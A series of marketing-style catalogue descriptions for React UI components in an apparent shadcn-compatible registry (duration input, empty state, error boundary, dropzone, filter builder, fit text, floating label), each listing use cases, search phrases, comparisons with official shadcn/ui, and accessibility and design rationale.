A text field that takes a length of time written the way people actually write one — 90m, 1h30m, 1h 30m, 2d 4h 15m, 1:30, 1.5h, 500ms, "90 minutes" — reads it into milliseconds, and echoes the reading back in words underneath it ("1 hour 30 minutes") so the interpretation is never left to be guessed at. Reach for it wherever a form asks how long rather than when: a request timeout or deadline, a cache TTL or expiry, session and token lifetimes, a retry or backoff interval, a polling or refresh interval, an SLA target, a job or cron timeout, an auto-logout window, a rate-limit window, a task estimate, a video or audio length, a snooze or reminder delay. Common asks it answers: "duration input", "duration input react", "shadcn duration input", "duration picker", "time duration field", "timeout input", "TTL input", "interval input", "how long field", "parse 1h30m", "hh:mm:ss duration input", "mm:ss input", "humanize duration", "convert 1h30m to milliseconds", "parse a human-readable duration in javascript", "let a user type a timeout into a form", "input for minutes and seconds", "number input with a unit dropdown", "duration field with react-hook-form", "validate a duration with zod", "enter a cache expiry in a form", "snooze or reminder delay picker", "500ms is being read as 500 minutes" — the field otherwise assembled from a number box beside a unit <select>, or from parse-duration / pretty-ms / ms / humanize-duration. Official shadcn/ui has no duration component of any kind: input is a bare text box you would still have to parse, input-otp is for codes, and calendar answers which day, not how long. It settles the two things hand-rolled duration parsers get wrong. First, m versus ms: the whole run of letters is read before anything is looked up, so 500ms can never come out as 500 minutes. Second, what 1:30 means: two colon fields are read as mm:ss and three as hh:mm:ss, the way stopwatches and media players write them, and blur rewrites the entry into its canonical short form so 1:30 visibly becomes 1m 30s — a clock time is the other component's job, so 9:30 here is nine and a half minutes of elapsed time and time-input is where you type half past nine. Months and years are refused by name instead of being given an invented length, which also settles the usual M/m argument — parsing is case-insensitive and M is minutes. Beyond parsing: minMs/maxMs mark the field aria-invalid with a polite live message naming the bound in words, a value that is unusable or out of range is withheld from onValueChange so nothing handed to the caller needs validating twice, text that does not parse stays on screen instead of being deleted out from under the reader, and giving the field a name posts the milliseconds through a hidden input so the server is never handed prose. parseDuration and formatDuration are exported as plain functions for the rest of the app to share. One file, themed with shadcn tokens, no dependencies beyond React.
The centred placeholder a screen shows when it has nothing to draw — a dashed panel with an optional icon, a heading, one line of explanation, and room for a call to action. Reach for it on an empty table, list, inbox or feed, a search or filter that matched nothing, a workspace, project or team before its first item exists, a first-run or onboarding screen, a dashboard card with no data yet, an empty cart, folder or notification tray, a kanban column with no cards, an audit or activity log before anything has happened, a file browser with nothing uploaded, and the body of a tab or panel whose query came back empty. Common asks it answers: "empty state", "empty state component react", "no results found", "zero state", "blank slate", "no data placeholder", "nothing here yet", "empty list or table component", "empty search results", "no search results component", "filter returned nothing", "first run experience", "no items yet with a create button", "empty state with call to action", "shadcn empty state", "tailwind empty state", "placeholder when there is no data", "empty table row message", "empty inbox illustration", "no notifications yet", "empty cart component", "empty folder state", "onboarding empty screen", "dashboard card with no data", "empty state accessibility", "empty state heading semantics", "react server component empty state", "empty state without use client", "空の状態 コンポーネント", "データがないときの表示", "検索結果 0件 の表示", "初回起動 画面", "一覧が空のときのプレースホルダ". shadcn/ui now ships an `empty` of its own, so choose deliberately rather than by accident: theirs is a six-part compound API (Empty, EmptyHeader, EmptyMedia, EmptyTitle, EmptyDescription, EmptyContent) that composes into any arrangement and pulls in class-variance-authority; this is the one-import version — title plus optional icon, description and action, four props in total and no dependencies at all — for the much more common case where every empty state in the app looks alike and assembling six elements at each call site is just ceremony. Two accessibility details differ as well, and they are the two most often got wrong: here the title renders as a real h3, so it joins the heading outline and screen-reader users can reach it with heading navigation, whereas the official EmptyTitle is a styled div that heading navigation cannot see; and the icon wrapper is marked aria-hidden, because it is decoration, and announcing "inbox" or "circle-slash" before the sentence that actually explains the situation is noise. The description is capped at max-w-sm so the line keeps a readable measure inside a wide table. It has no hooks and no event handlers, so it carries no "use client" and renders inside a React Server Component without pulling a client boundary in behind it; you pass your own icon element, so it adds no icon library. Styled with shadcn tokens (border, muted-foreground) for light and dark themes. Distinct from skeleton and spinner, which say the rows are still loading: this one says the rows are not coming until the user does something.
Catches a render error from anywhere below it and shows a fallback in place of that part of the page, instead of letting React take the whole application down to a blank screen: one widget on a dashboard, a third-party embed or ad slot, a chart handed a malformed series, a route or layout boundary in a Next.js app, a single row of a list, a markdown or rich-text renderer fed user content, a map or canvas that fails on one device. Common asks it answers: "react error boundary", "error boundary shadcn", "shadcn error boundary component", "react-error-boundary alternative", "error boundary typescript", "componentDidCatch in a function component", "error boundary hook", "catch an error in a react component", "react white screen of death", "one component crashes and takes the whole app down", "error boundary with a retry button", "reset error boundary on route change", "error boundary resetKeys", "resetKeys not working", "error boundary keeps resetting in a loop", "useErrorBoundary showBoundary", "error boundary not catching my error", "error boundary does not catch event handler errors", "error boundary async error", "catch a promise rejection with an error boundary", "next.js error.tsx alternative", "fallback ui when a component throws", "withErrorBoundary hoc", "エラーバウンダリ react", "React エラー境界", "画面が真っ白になる react", "一箇所のエラーでアプリ全体が落ちる", "エラー時のフォールバック表示", "リトライできるエラー表示". Official shadcn/ui has nothing of the kind, and that is measured rather than remembered: its catalogue today lists 65 entries of which 62 are fetchable (code-block, questionnaire and trace 404) for 223,287 bytes of component source, and in all of it componentDidCatch, getDerivedStateFromError, ErrorBoundary, errorInfo, resetErrorBoundary and fallbackRender are every one of them zero hits. So is Suspense, and so is the word class -- official is 62 function components with no error handling anywhere in them. An agent asked for a boundary therefore writes one, and this is the one component in a modern React codebase that cannot be a function: getDerivedStateFromError and componentDidCatch have no hook equivalent, so it is a class or it does not exist. The dozen lines that class takes are not the reason to install one. Four things are. First, clearing the error is not recovering. Rendering the fallback removes the children from the tree, so React does unmount them and a reset really does mount them fresh with their state gone -- but what made them throw is usually a prop or something in a store, and that has not moved, so a retry that only clears the flag throws again on the next frame. onReset is where the caller drops the bad response or bumps the query key; resetKeys is where it says what counts as the cause having changed. Second, a reset loop is easy to write by accident, in two separate ways, and both are closed here. resetKeys is compared element by element rather than by array identity, because resetKeys={[id]} builds a fresh array on every render of the parent and an identity check reads that as a change every time -- clear, mount, throw, repeat. And the keys are snapshotted as each render sees them rather than compared against prevProps in componentDidUpdate, which is what makes the ordinary case right: when a parent passes a new id and the child chokes on that new id in the same pass, comparing with prevProps reads it as "the keys changed while an error was showing", resets, and lands back on the same throw one render later. A child that throws again under keys that have not moved simply stays in the fallback. Third, most of the errors in an application never reach a boundary at all, and this is the gap that makes people think theirs is broken. React catches what is thrown while it renders and nothing else, so an onClick that throws, a setTimeout, a rejected promise, a subscription callback and the server render all go straight past it and leave the user looking at a page that quietly did nothing. useErrorBoundary() returns showBoundary, which stores the value and rethrows it from that component's next render -- a real render, so the boundary catches it with a real component stack and onError reports it like any other. load().then(setData, showBoundary) is the whole pattern. Nothing has to be cleared afterwards, because the component holding it is replaced by the fallback and unmounts. Fourth, the crash takes focus with it. The element that had it is no longer in the document, so the browser drops focus to the body and a keyboard or screen-reader user is silently returned to the top of the page with no sign that anything happened. The built-in fallback takes focus back -- and only then: not when the children threw on their first render, because nothing the user was looking at went away, and not when focus is still on something real elsewhere on the page, because that belongs to whoever is using it. What it cannot do is stated rather than hidden, since a boundary that silently misses is worse than none. It cannot catch an error thrown by its own render, which includes the fallback, so a fallback that throws goes to the boundary above and keep it to markup. It does nothing on the server: componentDidCatch is a commit-phase lifecycle and the server never commits. And it does not log, because React already prints a recovered error and its component stack to the console in development and a second copy helps nobody. Smaller things it gets right. Anything can be thrown in JavaScript, so a non-Error value arrives wrapped with the original kept on cause, and a fallback reading error.message renders something rather than "undefined"; an Error from an iframe, a worker or a vm context fails instanceof and is matched on having a string message instead of being discarded; a thrown symbol does not become a TypeError from String() replacing the application's error with one from the boundary. onError fires once per error rather than once per commit, and again if the same error comes back after a retry. Both error.message and React's componentStack routinely carry whatever was being rendered -- an email address, an order, an id -- so treat them as user data when the destination is somebody else's service, and the built-in fallback does not show the message to the reader at all unless you ask it to. The fallback is a role="alert" notice with a heading and a Try again button, announced on arrival because it arrives, focusable only programmatically so an error notice does not add a tab stop to the page, and themed through border-destructive, bg-card and the rest rather than colours of its own. Pass fallback as a node, as a function of { error, reset, recoverFocus }, or as null for a decorative widget that should just disappear; ErrorFallback is exported so a custom one can keep the same shape, and withErrorBoundary wraps a route or page component whose own file is the only place you can reach. Within pulld it is the last resort rather than the first: form-error-summary handles the errors a person can fix, network-status the connection being gone, toast and save-status the ones an operation reports, empty-state the case where there is simply nothing to show. This one is for the case nobody planned for. Depends only on your cn util -- no packages, no other components.
An icon + heading + one line of copy, as the repeating tile in the features or benefits section of a landing or marketing page — a “why us” grid, “what’s included”, value props, product highlights, services, capabilities, or a perks row on a pricing page. Common asks it answers: "feature card", "feature cards react", "features section react", "feature grid component", "feature tile component", "benefits section component", "why us section", "value props grid", "product highlights grid", "capabilities grid", "services grid component", "what is included section", "perks row pricing page", "landing page features section", "saas landing page features", "homepage features grid", "marketing feature grid", "3 column feature grid", "icon heading description card", "card with icon and title react", "shadcn feature card", "shadcn features section", "shadcn card with icon", "shadcn marketing section", "shadcn landing page components", "tailwind feature card", "feature card with lucide icon", "clickable feature card", "make the whole card a link react", "card as link accessibility", "entire card clickable react", "one tab stop per card", "nested link inside card keyboard", "feature card hover state", "feature card heading level", "features grid document outline", "heading levels in a card grid", "decorative icon announced by screen reader", "aria-hidden icon in card", "機能カード", "特徴セクション", "ランディングページ 機能一覧", "選ばれる理由 セクション", "アイコン付きカード", "カード全体をリンクにする", "サービス紹介 グリッド". Drop several into a responsive grid (grid-cols-2 / grid-cols-3) and that is the whole section; each card takes icon, title, description and optionally href. Set href and the entire card becomes the click target: it renders as an <a> rather than a <div>, with hover and a focus-visible ring, so keyboard users get one tab stop per card instead of hunting for a small link nested inside it. shadcn/ui ships no feature card. Its card is a generic container (~1.8KB of source, no dependencies) with no icon slot and no href — the icon square, the heading and the link are all yours to assemble. Its newer item is the closest thing in shape and does have an icon slot, but it is a ten-part compound kit (ItemGroup, Item, ItemMedia, ItemContent, ItemTitle, ItemDescription, ItemActions, ItemHeader, ItemFooter, ItemSeparator) that also pulls in separator, and it is built for list rows rather than a marketing grid. Two concrete differences past the assembly work: official’s ItemTitle renders a <div>, so a features grid built from it contributes nothing to the document outline, whereas this renders a real heading you choose with headingLevel (h2/h3/h4, default h3) so screen-reader users can jump feature to feature; and official’s ItemMedia sets no aria-hidden, so a purely decorative icon can still be announced, whereas this marks the icon square aria-hidden and lets the title carry the meaning. Neither official component accepts an href, so “make the whole tile a link” is hand-wired in both. Zero dependencies — bring your own icon element (a lucide-react icon, an emoji, an <img>); it sits in a tinted primary/10 square, and everything else follows your shadcn tokens including dark mode.
A drag-and-drop file upload area that is also a real file picker: drop files onto it, or click it — or focus it and press Enter or Space — to open the native chooser. Reach for it at the point a product takes a file in: an avatar or profile photo upload, a logo in brand settings, an image or gallery upload, a CSV/TSV/XLSX import step, a document, PDF, contract or resume upload, receipts and invoices, ID and KYC documents, attachments on a ticket, issue, message or email composer, a bulk media or photo drop, a dataset or training-corpus upload for an AI app, a .zip or backup restore, and the file step of an onboarding or import wizard. Common asks it answers: "file dropzone", "drag and drop file upload", "drop zone react", "drag drop upload area", "upload box", "click to browse files", "file picker component", "shadcn file input", "shadcn file upload", "shadcn dropzone", "react-dropzone alternative", "filepond alternative", "uppy alternative", "csv upload component", "image upload dropzone", "multiple file upload react", "accept only images", "limit file size on upload", "restrict file types react". The gap in official shadcn/ui is the taking-in half, and it is worth being precise about it now that the catalogue has grown: input covers text-like types and never file, and attachment — its newer component in this area — renders a file that has already been attached, with media, title, description and actions, but contains no `<input type="file">`, no drop target, and no accept or size filtering. Nothing there receives a file. What is hand-rolled every time and easy to get wrong: a drop target only works if `dragover` is cancelled, and a version that skips it drops the file straight into the browser, which navigates away from the app and takes any unsaved form with it — so `dragover` is cancelled here. The `accept` attribute is also filtering theatre on a drop: the browser applies it to the chooser dialog only, and anything dragged in arrives unfiltered, so the same rules are applied a second time in JavaScript. Dropped and picked files therefore go through one path and one filter — `accept` (a mime type, a wildcard like image/*, or a .ext), `maxSize` in bytes, and `maxFiles` — and everything skipped comes back through `onReject` tagged with the reason it was skipped ("type", "size" or "too-many"), so the UI can say why instead of swallowing the file and looking broken. It wraps a hidden real `<input type="file">` rather than simulating one, so the control still submits with a form, still takes `name` and `required`, and still forwards a ref for a caller who wants to open the chooser from a button elsewhere. Works controlled or uncontrolled over a `File[]`, single or multiple, with a highlighted drag-over state and a disabled state that also leaves the tab order. Accessible without a mouse or a screen: the region is a `role="button"` with a real tab stop, activated by Enter and Space, drawn with a focus-visible ring, marked `aria-disabled` when disabled, and every add and every rejection is announced through a polite live region — the part hand-rolled dropzones almost always omit, which leaves a screen-reader user with no confirmation that a dropped file landed or any idea why it did not. It hands back a `File[]` and deliberately stops there — no endpoint, no auth, no progress source it would have to guess. Pair it with upload-list for the rows that show what happened to those files. Styled with shadcn tokens so it follows light and dark mode; the only dependency is lucide-react, for the upload icon.
The advanced-search panel: rows of "field, operator, value" stacked up, joined with AND or OR, optionally one level of grouping, and three ways out — the tree the editor holds, the JSON to send a server, and the condition as a sentence. Reach for it wherever a list page has outgrown a search box and a few dropdowns: the advanced filter of an admin table, a segment or audience builder, a cohort definition, the conditions on a report or export, filtering an audit or activity log, a saved or shared view, the "matches these rules" half of an automation, an alert or monitor rule, feature-flag targeting, an access or permission rule, a smart playlist or smart folder, a CRM or help-desk list filter, a product-catalogue facet editor for staff, and the filter a person expects to be able to put in a link and send to a colleague. Common asks it answers: "filter builder react", "query builder react", "react-querybuilder alternative", "shadcn filter builder", "shadcn query builder", "advanced filter component react", "condition builder react", "rule builder react", "and or filter ui react", "nested filter groups react", "airtable style filter ui", "notion filter ui react", "segment builder ui", "build where clause ui", "filter builder tailwind", "operator dropdown by field type", "which operators for which data type filter", "dynamic operator list react", "value input depends on operator", "between operator two inputs react", "is empty operator no input", "in operator multiple values ui", "filter tree data structure typescript", "serialize filter to url query string", "encode filter in url react", "parse filter from search params", "filter state in url nextjs", "shareable filter link", "filter to sql where clause json", "send filter to api json", "incomplete filter row validation", "filter row missing value", "why does my filter return wrong count", "validate number input filter", "validate date input filter", "date range reversed validation", "accessible filter builder", "aria labels filter builder", "絞り込み 条件 ビルダー react", "検索条件 作成 ui", "and or 条件 入れ子", "条件ビルダー 演算子 型ごと", "フィルタ条件 url 共有", "管理画面 高度な検索". Five things decide the shape of this component, and each one is a way the eighty-line version is quietly wrong. The operator menu belongs to the field's kind, not to the component. A string has no "is greater than" and a date has no "contains", so changing the field rebuilds the operator list and, where the kept operator takes different slots, the value editor too. The id stays the server's vocabulary while the label follows the kind: `gt` reads "is greater than" over a number and "is after" over a date, because a person reading "greater than" above a date picker has to translate. The value editor is the operator's arity, and the arity is load-bearing. `is between` holds two, `is any of` holds a list that can grow, `is empty` holds none. The part that is easy to get wrong is narrowing: an operator moved from `is between` back to `is greater than` must *drop* the second value, not keep it out of sight — a rule that sends `gt` with `["10","20"]` hands a server a bound that nothing will use and everything is entitled to. A field change is not only an operator change. Values carry over between fields of the same kind and are discarded between kinds, because "acme" surviving a move from Company to Amount makes a row that reads as complete and filters on a number that is not one; moving between two enums replaces a value the new option list does not offer rather than leaving one it will never match. What counts as filled in cannot be left to the language. `Number("")` is `0` and `Number(" ")` is `0`, so a numeric check written with it reads an empty box as a filter on zero; `Number("0x10")` is 16 and `Number("1e3")` is 1000. `Date.parse("2026-02-30")` answers the 2nd of March rather than failing, which moves the boundary the person typed, and `Date.parse("42")` answers a year. So numbers are a strict decimal and dates are a `YYYY-MM-DD` built and read back part by part. A range typed backwards is a separate state from an unfinished one: it is complete, it matches nothing, and it says so beside itself instead of being thrown away. Rows that are not finished come back with the query instead of vanishing from it. `buildFilterQuery` returns `{ query, dropped }`, and the second half is the one that is usually missing: a builder that silently skips the row somebody was halfway through returns a result set that does not match what is on screen, and that is read as the search being broken rather than as a row nobody completed. A query of `null` means "nothing to filter on", which a caller must not confuse with a filter that matches nothing. Three further decisions, each deliberate. One conjunction per group, not per row — a select on every row invites `A and B or C`, which has no single reading, so the second row carries the group's select and the rest repeat it as text. Nesting stops at one level by default (`maxDepth`), because unlimited nesting is how a saved filter becomes one nobody can interpret later, and a new group opens on the opposite conjunction since a nested group repeating its parent's join changes nothing about what is selected. A group that loses its last row is removed with it, since an empty group matches everything and reads as a box with no condition in it. The three outputs are the same tree seen from three places, which is the other half of why this is a component and not a form. `toFilterParam` / `parseFilterParam` round-trip the editor's own state — unfinished rows included, so a draft survives a reload — in a form that is readable in a shared link: `and(status:eq:open,amount:gte:100)`. Six characters are structural there and every one of them can appear in a value, so segments are escaped: a product called `A, B (2kg)` survives the trip, and a string that cannot be read loads nothing at all rather than half a filter applied silently. `buildFilterQuery` is the pruned shape for a server, with single-child groups collapsed because `and(x)` and `x` select the same rows. `describeFilter` is the condition as a sentence, using the field labels and the kind's own operator wording, for a live region, a summary line or a chip. Smaller things that are still decisions: a number is a text input with `inputMode="decimal"` rather than `type="number"`, because the native number input discards what it cannot parse before the component ever sees it, so a half-typed `1.` or a pasted `1,5` becomes an empty box and the row reports a value that was never missing. The kinds drawn as a select (enum, boolean) start on a legal value instead of blank, so a row cannot show "Open" while reporting "Enter a value". Every control is named for the row it is in, an unusable row marks its own box `aria-invalid` and points at the reason through `aria-describedby` rather than announcing it into a live region while it is still being typed into, and adding or removing a row is announced through one polite `sr-only` region. Official shadcn/ui has nothing of the kind, measured today rather than remembered. Fetching every entry in its registry — 65 listed, 62 fetchable, `code-block`, `questionnaire` and `trace` 404 on both style tracks — and searching all 223,287 bytes of it, `operator`, `predicate`, `conjunction`, `filterGroup` and `queryBuilder` are every one of them a zero hit. `filter` returns four, and they are worth naming rather than rounding to zero: all four are `Array.prototype.filter` inside the chart and toast internals. The check that actually settles it is the name list rather than the word count, because official can ship a component whose source says nothing about what it does: no entry among the 65 is a filter, query or condition builder of any kind. Within pulld this is the first component with an operator in it. `filter-chips` is the display side — the pills above a list, derived from the query string, with a × that takes one condition off — and the two are made to be used together: build here, show there. `search-input` and `command-palette` are free text, `cron-expression` is the other structured editor (a different grammar, the same idea of editing a machine-readable value through controls), and `sort-header` is the ordering rather than the filtering. None of them composes into this one, so it has no `registryDependencies`. The API: `fields` describes what can be filtered (`name`, `label`, `kind`, `options`, and an optional `operators` narrowing whose order becomes the menu's); `value` / `defaultValue` / `onChange` make it controlled or not; `maxDepth`, `maxRules`, `legend`, `labels` and `disabled` are the rest. The logic is exported as plain functions so the parts that matter can be used without rendering anything: `operatorsForField`, `operatorLabel`, `retargetRule`, `retargetOperator`, `coerceValues`, `ruleIssue`, `ruleIsComplete`, `buildFilterQuery`, `toFilterParam`, `parseFilterParam`, `describeFilter`, `isPlainNumber` and `isPlainDate`. Every label is replaceable one at a time for another language. One file, two lucide icons, your `cn`, and no query-builder library.
The row of pills above a list that says which filters are in force — one chip per applied condition, each with a × that takes off only that condition, plus a clear-all that offers an undo. It holds no filter state of its own: the chips are derived from the query on every render, so the row cannot disagree with the list beneath it. Reach for it above anything filterable: an admin table of users, orders, invoices or subscriptions, e-commerce search results and faceted category pages, a logs, events or audit-trail viewer, an issue or ticket tracker's saved views, a dashboard segment, a CRM contact list, a file or media library, a job board, a property or map search, a moderation queue, and any page that keeps its filters in the URL. Common asks it answers: "filter chips react", "active filters component", "applied filters bar", "removable filter pills", "chips with a remove button react", "faceted search UI react", "clear all filters button", "show active filters above a table", "filter tags with x react", "shadcn filter chips", "shadcn active filters", "MUI Chip onDelete equivalent", "antd closable tag filters equivalent", "filter chips from URLSearchParams", "sync filters with query params react", "remove one value from a multi-value filter", "reset page when a filter changes", "announce filtered result count to a screen reader". Official shadcn/ui has nothing for this: activeFilters, onRemoveFilter, clearAll, facetedFilter, URLSearchParams, useSearchParams and aria-live are each zero hits across all 62 of its fetchable items (measured 2026-09-25), its badge is a coloured label with no way to take it off, and toggle-group is an input for choosing rather than a display of what has been chosen. The one part that looks close is the Base UI combobox's ComboboxChips/ComboboxChip, and it is a different job: that is the selected-values affordance inside one text field — a bordered, focus-ringed input container whose pills are that combobox's own selection, needing @base-ui/react and a Combobox root around them — where this is a summary above the list of everything currently applied, including conditions set by other controls, by a shared link or by a saved view, which no single input's chips can represent. Distinct from the pulld pieces it sits beside: multi-select and tag-input put chips inside a field (choosing from a list, and typing freely), bulk-action-bar is about the rows you have selected rather than the filters that produced them, search-input is one filter's own control, and date-range-preset keeps its period in this same query string — declare that parameter as a chip:"key" field and its chip comes off like any other. Five things separate it from the twenty-line version. First, the chips are the state rather than a copy of it: keep a second array of active filters and it drifts the moment anything else touches the query — a Back button, a link, a reset elsewhere on the page — after which the row shows a pill for a condition that is no longer applied, or stays silent about one that is, which is the commonest way an admin list goes quietly wrong. Second, one filter holding several values: ?status=open&status=pending is either two chips whose × narrows the filter to the other value, or one chip whose × stops filtering by status altogether, and which is right depends on the parameter (chip:"key" for a range or a period), so it is declared rather than accidental. Third, the round-trip: removing a chip rebuilds the parameters instead of assembling a fresh query out of the fields, so the sort order, the tab and everything else it was never told about survive, while the page number is dropped — a cursor into the results of the old conditions is what lands a person on an empty page 7 with three chips still showing. Fourth, the naming and the outcome: a bare × is read out as "button", so each one's accessible name says which condition it removes, and the result count is announced from a live region that stays mounted at zero chips (a region inserted together with its text is one nobody was listening to, and the message that matters most arrives as the row empties). Fifth, focus: the button just pressed no longer exists, and a browser does not move focus off a removed element, it drops it to <body> — so focus goes to the chip that took its place, or to the row itself when the last one goes. Clear-all is the only irreversible action here, so it restores the previous query exactly, page number included, and withdraws the offer the moment the query changes from anywhere else.
Text shrunk to the largest whole-pixel size that still fits the box it was given, and kept fitting as the box changes. Reach for it wherever a string has to live in a space somebody else sized: the figure in a KPI tile that is usually "1.2M" and occasionally "1,284,993", a product or customer name on a card, a person's name on a name badge or a seating chart, a heading on a slide, a label in a fixed table column, a cell in a dashboard laid out on a grid, a number on a TV wallboard or kiosk nobody can scroll or hover, an org-chart node, a chart or axis label, a calendar event title in a day column, a tier name in a pricing table, an invoice line item, and any translated string that runs 40% longer in German than the design allowed for. Common asks it answers: "fit text to container react", "auto resize text to fit div", "shrink text to fit width", "scale text to fit container", "auto font size react", "responsive font size to fit box", "make text fit a fixed width div", "auto shrink font size when text is too long", "text overflows card react", "KPI number too long dashboard", "long product name breaks card layout", "fit text to width without truncating", "shrink to fit instead of ellipsis", "react-textfit", "react-fittext", "react-fit-text", "use-fit-text", "fitty react", "textfit", "FitText.js", "auto-size text react hook", "ResizeObserver font size react", "binary search font size to fit", "text fits at one width but overflows at another", "font size is wrong until the web font loads", "text shrinks then overflows again on resize", "fit text inside a flex item", "shrink text in a table cell", "文字を枠に収める react", "はみ出す文字を縮小する", "幅に合わせてフォントサイズを自動調整", "文字が長いとカードが崩れる", "自動 フォントサイズ 調整 react", "枠内に収まる最大の文字サイズ". **The version almost everybody writes first measures the string once and scales it, and that assumes glyph width is proportional to font size.** It is not. Measured on the default UI face, the same string takes 12.49px of advance per point of size at 16px and 11.43px at 64px — faces track tighter as they grow — so an estimate of `16 * (available / widthAt16)` was wrong at most of the box widths swept, in one direction throwing away four sizes that would have fitted and in the other naming a size that overflows. A registry component inherits whatever face the page is using, so neither direction can be assumed away. This does a binary search over whole pixels instead, which costs six or seven measurements over `[8, 96]` and is exact. **Whole pixels, because sub-pixel precision is below the rounding of the thing being measured.** Bisecting to a thousandth of a pixel took twelve more forced layouts, moved the answer by 0.03px, and then re-measured as 241px of content in a 240px box — one pixel worse than the integer answer that had just fitted. `scrollWidth` and `clientWidth` are rounded integers, which is also why a pixel of reported overflow is forgiven: without that tolerance a box whose text fits it exactly loses a whole step of size to a rounding artefact. **The search runs over the whole range every time and never reads its own last answer.** Nudging relative to the current size — shrink a step while it overflows, grow a step while there is room — has no fixed point: inside a ResizeObserver it oscillated between 21px and 20px for as long as it was left running, 37 callbacks in 600ms, with no error raised anywhere and a layout pass burnt every frame. A search from scratch is a fixed point, so writing the size from inside the callback settles after one extra pass instead of never. **The ceiling is re-read with this component's own size cleared, every time.** Read it without clearing and the ceiling ratchets downwards — each measurement takes the previous fitted size as its maximum and the text can never grow back when the box widens again. Clearing it also means the ceiling is whatever the stylesheet currently asks for, so `className="text-2xl md:text-5xl"` works for free: the breakpoint changes the design size, the resize that carries it re-measures, and the new ceiling is picked up without being told about. **It measures the real element, not a hidden probe span.** For a bare string a probe is a measurement of the same thing, agreeing to the exact fraction of a pixel at every size tested — but a probe is only the same box if every box property matches, and anything in `em` scales with the font. Give the element `px-[0.5em]` and a bare probe is 48px narrower at a 48px font, so the fitted size overflows by a whole em in exactly the case where fitting matters most. **A box that has not been laid out is not measured at all.** Inside a closed dialog, an unselected tab, anything `display: none`, both measurements report zero, and zero is "not measured yet" rather than "nothing fits" — shrinking on the strength of it leaves 12px text for the moment the dialog opens, which is the one state no resize comes along to correct. A web font arriving after the first measurement is waited on separately through `document.fonts.ready`, because a face swapping in changes every glyph width without changing the box and no observer reports it. **The floor is the part worth arguing about.** Shrinking without a limit always "fits", by producing text nobody can read, and a 6px label in a dashboard is a worse outcome than a clipped one — a reader can at least see that something was cut and widen or hover to get it. So `min` defaults to 12px, and at the floor this stops shrinking and clips with an ellipsis, reporting `overflowing` so the caller can do something better. It never makes text bigger: growing a short string to fill its box is a different component with a different failure mode (a two-letter name at 90px), which is why the ceiling is the design's own size rather than a number chosen here. The text itself is never touched — the same text node at a different size — so find-in-page, selection, the clipboard and the accessibility tree all get the string in full. That is the whole difference between this and the ellipsis answers to the same problem, which solve it by removing characters. `useFitFontSize` is exported on its own for a size you want without this markup (a number in a table cell, a label inside an SVG you are drawing yourself), and `onFit` is guarded on the values last reported rather than on a dependency array, so a parent that re-renders on the callback cannot turn a measurement into a loop. Theme tokens only, no hardcoded colours, no dependencies beyond React. Official shadcn/ui has nothing here, and the measurement is not close: fetching every entry in its registry today — 65 listed, 62 fetchable, code-block and questionnaire and trace 404 on both style tracks — and searching all 223,287 bytes of it, the strings fitText, scaleToFit, textFit, ResizeObserver, getBoundingClientRect, useLayoutEffect and fontSize are every one of them a zero hit. Official never measures an element and never sets a font size in code at all. Within pulld it sits beside middle-truncate and overflow-tooltip, which answer the same question by removing characters or revealing them on hover rather than by keeping all of them smaller, and opposite autosize-textarea, which grows the box to fit the text where this fits the text to the box. column-resizer and virtual-list measure boxes but never resize type.
A text input whose label sits inside the field like a placeholder, then shrinks and floats up to straddle the top border the moment the field is focused or holds a value — the Material "outlined" text field, as one accessible input with no animation library behind it. Reach for it wherever a column of labels above a column of boxes would double the height of the form: a login, sign-up or password-reset form, a checkout or billing address, a settings, profile or account page, a dense admin or CRM record, a filter panel or sidebar, a modal or drawer with a handful of fields, an onboarding step, and any mobile form where vertical space is the scarce thing. It is also the shape people expect from a form that has to look like Material, MUI or Vuetify while being built on shadcn. Common asks it answers: "floating label input", "floating label react", "shadcn floating label", "shadcn input with floating label", "animated label input", "label moves up on focus", "placeholder that becomes a label", "material outlined text field tailwind", "MUI TextField equivalent shadcn", "notched outline input", "tailwind floating label", "peer-placeholder-shown", "placeholder-shown not working", "floating label without javascript", "css only floating label", "floating label breaks on autofill", "label overlaps autofilled text", "floating label accessibility", "is a floating label a real label", "compact form fields react", "フローティングラベル react", "ラベルが浮き上がる入力欄", "label inside the input", "input with the label inside the box", "shrink label on focus", "outlined input react", "material text field react", "material ui style input tailwind", "floating label with react-hook-form", "floating label next.js", "floating label tailwind v4", "floating label input without a library", "space-saving form fields", "dense form react", "入力欄の中にラベル", "ラベルが縮んで枠線に重なる入力". Official shadcn/ui has nothing of the kind, and the gap is wider than "no such component". Fetching all sixty-three registry entries today (sixty-two are fetchable; questionnaire is listed and 404s) and grepping the sources: placeholder-shown is a zero hit across every one of them. Its input is 768 bytes of styled element. Its label is 724 bytes whose only peer- rule is peer-disabled — it styles a label that sits above a field, never one that moves into it. Its field kit stacks label, control and description vertically, which is the layout this replaces rather than a version of it. The eight matches for "floating" in the whole registry are sidebar's variant="floating", a rounded panel with a shadow. So an agent asked for this writes the CSS itself, and the CSS has one trap in it. The trap is that :placeholder-shown only matches while a placeholder is actually being shown, and an input with no placeholder attribute is never showing one. Write the obvious peer-[:not(:placeholder-shown)] rule against a field labelled only by the floating label, and the selector matches nothing, the label sits floated from the first paint, and the field looks permanently filled. The fix is the part that looks like a mistake in the source: the input carries placeholder=" ", one space, painted transparent — a placeholder that exists so the selector has something to track, and shows nothing because the label is standing where it would be. It is also why placeholder is the one native prop this component does not forward; accepting one would silently break the mechanism at the call site rather than here. Everything else follows from the float being CSS rather than state. There is no onFocus/onBlur pair and no isFilled boolean, so it is correct controlled or uncontrolled, correct on the server and before hydration with no first-focus jump, and correct after browser autofill — the case that catches JS implementations, because Chrome fills the value without firing the events a hand-rolled version is listening for and the label stays sitting on top of the filled text. It also survives a value arriving from anywhere else: a form library resetting the field, a draft restored from storage, a paste. It stays a real input with a real label. The label is a <label htmlFor> rather than an absolutely positioned span, so screen readers announce the field by name, clicking the label focuses the input, and voice control can address it — where a fake overlay leaves the input nameless. The id defaults to a stable React.useId() so the association holds without you inventing one, and the ref is forwarded to the <input> itself, so type, name, value/onChange, required, disabled, autoComplete, maxLength, native validation and react-hook-form all work unchanged. error paints the destructive border, ring and label and sets aria-invalid, so an invalid field is not signalled by colour alone once you pair it with a message. One thing worth knowing before you drop it onto a coloured surface: the label breaks the border line by painting bg-background behind itself, which is right on the page and wrong on a card or a tinted panel, where that one class becomes bg-card. The component is copied into your project, so it is a one-word edit — but it is the sort of thing that is easier to read here than to notice on screen. Within pulld it is the compact form field the others sit next to: password-input adds the reveal toggle, search-input the clear affordance, char-counter the length underneath, and form-error-summary collects what these fields report. One file, zero dependencies — no animation library, no Radix, no icons — and every colour is a shadcn token (border-input, ring, background, muted-foreground, destructive), so light and dark follow on their own.
